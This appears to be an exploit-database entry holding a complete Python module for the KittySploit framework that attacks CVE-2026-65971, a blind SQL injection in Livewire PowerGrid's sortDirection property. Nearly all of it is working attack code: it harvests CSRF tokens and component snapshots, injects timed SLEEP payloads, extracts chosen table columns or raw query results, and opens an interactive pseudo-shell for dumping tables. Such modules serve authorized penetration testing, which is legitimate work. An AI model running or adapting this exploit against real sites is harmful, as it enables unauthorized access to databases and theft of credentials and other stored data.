Livewire PowerGrid CVE-2026-65971 sortDirection SQLi
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| Exploit for CVE-2026-65971 | 23 Jul 202621:47 | – | githubexploit | |
| CVE-2026-65971 | 23 Jul 202623:00 | – | circl | |
| CVE-2026-65971 | 23 Jul 202623:00 | – | cve | |
| POC-CVE-2026-65971 | 9 Oct 202609:47 | – | kitploit | |
| Livewire PowerGrid CVE-2026-65971 Detect | 3 Aug 202608:47 | – | kittysploit |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-65971 — Livewire PowerGrid sortDirection time-based blind SQLi."""
from __future__ import annotations
import html
import json
import re
import time
from typing import Dict, Optional, Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.sqli import Sqli, sqli_blind_extract_string
class _PowerGridTimeOracle:
"""Time-based blind oracle for PowerGrid ``sortDirection`` (ORDER BY)."""
def __init__(self, module: "Module", *, delay: float = 3.0, threshold: float = 0.0):
self.module = module
self.delay = max(float(delay), 1.0)
self.threshold = threshold if threshold > 0 else self.delay * 0.6
self.baseline = 0.0
self.requests = 0
def calibrate(self) -> bool:
self.baseline, _ = self.module._update("", "asc")
self.requests += 1
return self.true("1=1") and not self.true("1=2")
def true(self, cond: str) -> bool:
payload = f"asc, (SELECT IF(({cond}), SLEEP({int(self.delay)}), 0))"
elapsed, _ = self.module._update("", payload)
self.requests += 1
return (elapsed - self.baseline) > self.threshold
def gt(self, expr: str) -> bool:
return self.true(expr)
def errors(self, subquery: str) -> bool:
return False
def extract(self, subquery: str, *, max_length: int = 64) -> Optional[str]:
# Time-based probes must stay single-threaded (SLEEP + parallel = noise).
return sqli_blind_extract_string(
self.true,
self.gt,
self.errors,
subquery,
threads=1,
max_length=max_length,
)
class Module(Auxiliary, Http_client, Sqli):
__info__ = {
"name": "Livewire PowerGrid CVE-2026-65971 sortDirection SQLi",
"description": (
"Confirms/exploits CVE-2026-65971: SQL injection in "
"power-components/livewire-powergrid (>= 6.0.0, < 6.10.4) via the "
"public Livewire property sortDirection. Columns with "
"naturalSort(true) resolve {sortDirection} into orderByRaw() "
"without sanitization. Empty sortField skips Laravel's "
"asc/desc validation. Time-based blind confirmation (MySQL SLEEP), "
"scalar extraction, and Sqli pseudo-shell (?tables, ?dump, …). "
"Authorized targets only."
),
"author": ["BiiTts", "KittySploit Team"],
"cve": ["CVE-2026-65971"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-65971",
"https://github.com/advisories/GHSA-7fgc-3h6c-698r",
"https://github.com/BiiTts/POC-CVE-2026-65971",
"https://github.com/Power-Components/livewire-powergrid",
],
"tags": [
"livewire",
"powergrid",
"laravel",
"sqli",
"blind",
"time-based",
"shell",
"cve-2026-65971",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "data_exfiltration"],
"expected_requests": 12,
"reversible": True,
"approval_required": True,
"produces": ["credentials", "risk_signals", "exploit_paths"],
"cost": 1.3,
"noise": 0.5,
"value": 1.1,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["livewire", "laravel"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": ["/livewire/update"],
"param_any": ["sortDirection", "sortField"],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "db_access", "from_detail": ""},
{"capability": "inj_param", "from_detail": "sortDirection"},
"shell",
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": ["post/http/sqli_shell"],
},
},
}
port = OptPort(80, "HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
path = OptString(
"/",
"Path of a page that renders a PowerGrid table with naturalSort",
True,
)
livewire_update_path = OptString(
"/livewire/update",
"Livewire update endpoint",
False,
advanced=True,
)
cookie = OptString(
"",
"Optional Cookie header for authenticated tables (e.g. laravel_session=...)",
False,
)
action = OptString(
"test",
"Action: test | extract | query | shell",
False,
)
table = OptString("rooms", "Table for action=extract", False)
column = OptString("secret", "Column for action=extract", False)
where = OptString("", "Optional WHERE clause for action=extract", False)
query = OptString(
"",
"Raw scalar subquery for action=query (overrides table/column)",
False,
)
sleep_seconds = OptInteger(3, "MySQL SLEEP() seconds for true branch", False, advanced=True)
threshold = OptFloat(
0.0,
"Seconds of delay over baseline counted as TRUE (0 = sleep * 0.6)",
False,
advanced=True,
)
max_length = OptInteger(64, "Max chars to extract", False, advanced=True)
# Sqli mixin: shell_sqli, single_sql already defined on Sqli
def __init__(self, framework=None):
super().__init__(framework)
self._csrf = ""
self._snapshot = ""
self._oracle: Optional[_PowerGridTimeOracle] = None
def _timeout(self) -> int:
sleep_s = max(int(self.sleep_seconds or 3), 1)
return max(int(self.timeout or 30), sleep_s * 3 + 15)
def _page_path(self) -> str:
val = str(self.path or "/").strip() or "/"
if not val.startswith("/"):
val = "/" + val
return val
def _update_path(self) -> str:
val = str(self.livewire_update_path or "/livewire/update").strip() or "/livewire/update"
if not val.startswith("/"):
val = "/" + val
return val
def _extra_headers(self) -> Dict[str, str]:
headers: Dict[str, str] = {"User-Agent": "KittySploit-CVE-2026-65971"}
cookie = str(self.cookie or "").strip()
if cookie:
headers["Cookie"] = cookie
return headers
def _parse_cookies(self) -> Optional[Dict[str, str]]:
cookie = str(self.cookie or "").strip()
if not cookie:
return None
out: Dict[str, str] = {}
for part in cookie.split(";"):
part = part.strip()
if not part or "=" not in part:
continue
name, value = part.split("=", 1)
out[name.strip()] = value.strip()
return out or None
def _bootstrap(self) -> Tuple[bool, str]:
response = self.http_request(
method="GET",
path=self._page_path(),
headers=self._extra_headers(),
cookies=self._parse_cookies(),
timeout=self._timeout(),
allow_redirects=True,
)
if not response:
return False, "Failed to fetch PowerGrid page"
body = response.text or ""
csrf = None
for pattern in (
r'data-csrf="([A-Za-z0-9]+)"',
r'"csrf"\s*:\s*"([A-Za-z0-9]+)"',
r'name="csrf-token"\s+content="([^"]+)"',
r"csrf-token\"\s+content='([^']+)'",
):
match = re.search(pattern, body, re.I)
if match:
csrf = match.group(1)
break
snapshot = None
for raw in re.findall(r'wire:snapshot="([^"]+)"', body):
candidate = html.unescape(raw)
if "sortDirection" in candidate or "PowerGrid" in candidate:
snapshot = candidate
break
if not snapshot:
for raw in re.findall(r'wire:initial-data="([^"]+)"', body):
candidate = html.unescape(raw)
if "sortDirection" in candidate or "PowerGrid" in candidate:
snapshot = candidate
break
if not csrf:
return False, "CSRF token not found (try cookie / correct path)"
if not snapshot:
return False, (
"PowerGrid Livewire snapshot not found — page must render a "
"PowerGrid component (naturalSort column) and session must reach it"
)
self._csrf = csrf
self._snapshot = snapshot
return True, f"csrf={csrf[:12]}… snapshot={len(snapshot)} bytes"
def _update(self, sort_field: str, sort_direction: str) -> Tuple[float, str]:
payload = {
"_token": self._csrf,
"components": [
{
"snapshot": self._snapshot,
"updates": {
"sortField": sort_field,
"sortDirection": sort_direction,
},
"calls": [],
}
],
}
headers = self._extra_headers()
headers.update(
{
"Content-Type": "application/json",
"X-CSRF-TOKEN": self._csrf,
"X-Livewire": "1",
"Accept": "application/json, text/html, */*",
}
)
start = time.perf_counter()
try:
response = self.http_request(
method="POST",
path=self._update_path(),
headers=headers,
cookies=self._parse_cookies(),
data=json.dumps(payload),
timeout=self._timeout(),
allow_redirects=False,
)
body = (response.text if response else "") or ""
except Exception as exc:
body = f"<error: {exc}>"
return time.perf_counter() - start, body
def _make_oracle(self) -> _PowerGridTimeOracle:
return _PowerGridTimeOracle(
self,
delay=float(self.sleep_seconds or 3),
threshold=float(self.threshold or 0.0),
)
def _confirm(self) -> Tuple[bool, str]:
sleep_s = max(int(self.sleep_seconds or 3), 1)
oracle = self._make_oracle()
baseline, _ = self._update("", "asc")
oracle.baseline = baseline
oracle.requests += 1
payload = f"asc, (SELECT SLEEP({sleep_s}))"
elapsed, resp = self._update("", payload)
oracle.requests += 1
delta = elapsed - baseline
threshold = oracle.threshold
leak = re.search(
r"SQLSTATE\[\w+\][^\"<]{0,160}|select .{0,60}order by[^\"<]{0,160}",
resp,
re.I,
)
detail = (
f"baseline={baseline:.2f}s injected={elapsed:.2f}s "
f"delta={delta:.2f}s threshold={threshold:.2f}s"
)
if leak:
detail = f"{detail} | sql_echo={leak.group(0)[:160]}"
if delta > threshold or leak:
self._oracle = oracle
if delta > threshold:
return True, f"Time-based SQLi confirmed ({detail})"
return True, f"SQLi likely (SQL echoed; timing inconclusive) ({detail})"
return False, f"No measurable delay / SQL echo ({detail})"
def _ensure_oracle(self) -> Optional[_PowerGridTimeOracle]:
if self._oracle is not None:
return self._oracle
oracle = self._make_oracle()
if not oracle.calibrate():
print_error("Oracle calibration failed (1=1 / 1=2)")
return None
self._oracle = oracle
return oracle
def sqli_fetch_scalar(self, user_line: str) -> Optional[str]:
"""Sqli mixin entrypoint — blind extract via sortDirection SLEEP oracle."""
oracle = self._ensure_oracle()
if oracle is None:
return None
wrapped = self.wrap_scalar_expression(user_line)
if not wrapped:
return None
inner = wrapped.strip()
if inner.startswith("(") and inner.endswith(")"):
inner = inner[1:-1].strip()
if inner.upper().startswith("SELECT"):
subquery = inner
else:
subquery = f"SELECT {inner}"
return oracle.extract(
subquery,
max_length=max(int(self.max_length or 64), 1),
)
def check(self):
ok, detail = self._bootstrap()
if not ok:
return {"vulnerable": False, "reason": detail, "confidence": "low"}
confirmed, reason = self._confirm()
return {
"vulnerable": confirmed,
"reason": reason,
"confidence": "high" if confirmed else "medium",
}
def run(self):
action = str(self.action or "test").strip().lower()
if self.shell_sqli:
action = "shell"
print_status(
f"CVE-2026-65971 PowerGrid sortDirection SQLi — action={action}, "
f"path={self._page_path()}"
)
print_warning("Authorized testing only")
ok, detail = self._bootstrap()
if not ok:
print_error(detail)
return False
print_info(detail)
confirmed, reason = self._confirm()
if not confirmed:
print_error(reason)
print_info(
"Patched (>= 6.10.4), no naturalSort column, or component not reached."
)
return False
print_warning(reason)
self.set_info(
severity="critical",
reason=reason,
path=self._page_path(),
cve="CVE-2026-65971",
injection="sortDirection",
inj_param="sortDirection",
inj_path=self._update_path(),
)
if action == "test":
print_success("Confirmed CVE-2026-65971 (check-only)")
reqs = self._oracle.requests if self._oracle else 0
print_info(f"{reqs} request(s)")
return True
if action == "shell":
print_status("Starting Sqli pseudo-shell (time-based — slow)")
print_info("Shortcuts: ?version ?tables ?columns <t> ?dump <t> [n] | help | exit")
self.shell_sqli = True
self.handler_sqli()
return True
if action == "extract":
table = str(self.table or "rooms").strip()
column = str(self.column or "secret").strip()
where = str(self.where or "").strip()
subquery = f"SELECT {column} FROM {table}"
if where:
subquery += f" WHERE {where}"
subquery += " LIMIT 1"
user_line = subquery
elif action == "query":
user_line = str(self.query or self.single_sql or "").strip()
if not user_line:
print_error("action=query requires query or single_sql")
return False
else:
print_error(f"Unknown action: {action}")
print_info("Valid: test | extract | query | shell")
return False
print_status(f"Extracting via Sqli mixin: {user_line}")
value = self.sqli_fetch_scalar(user_line)
reqs = self._oracle.requests if self._oracle else 0
if value is None:
print_error("Extraction failed")
print_info(f"{reqs} request(s)")
return False
if value == "":
print_error("Empty extraction result")
print_info(f"{reqs} request(s)")
return True
print_success(f"Leaked value: {value!r}")
self.set_info(
severity="critical",
reason=f"{reason} | leaked={value!r}",
path=self._page_path(),
leaked=value,
subquery=user_line,
cve="CVE-2026-65971",
)
print_info(f"{reqs} request(s)")
return True
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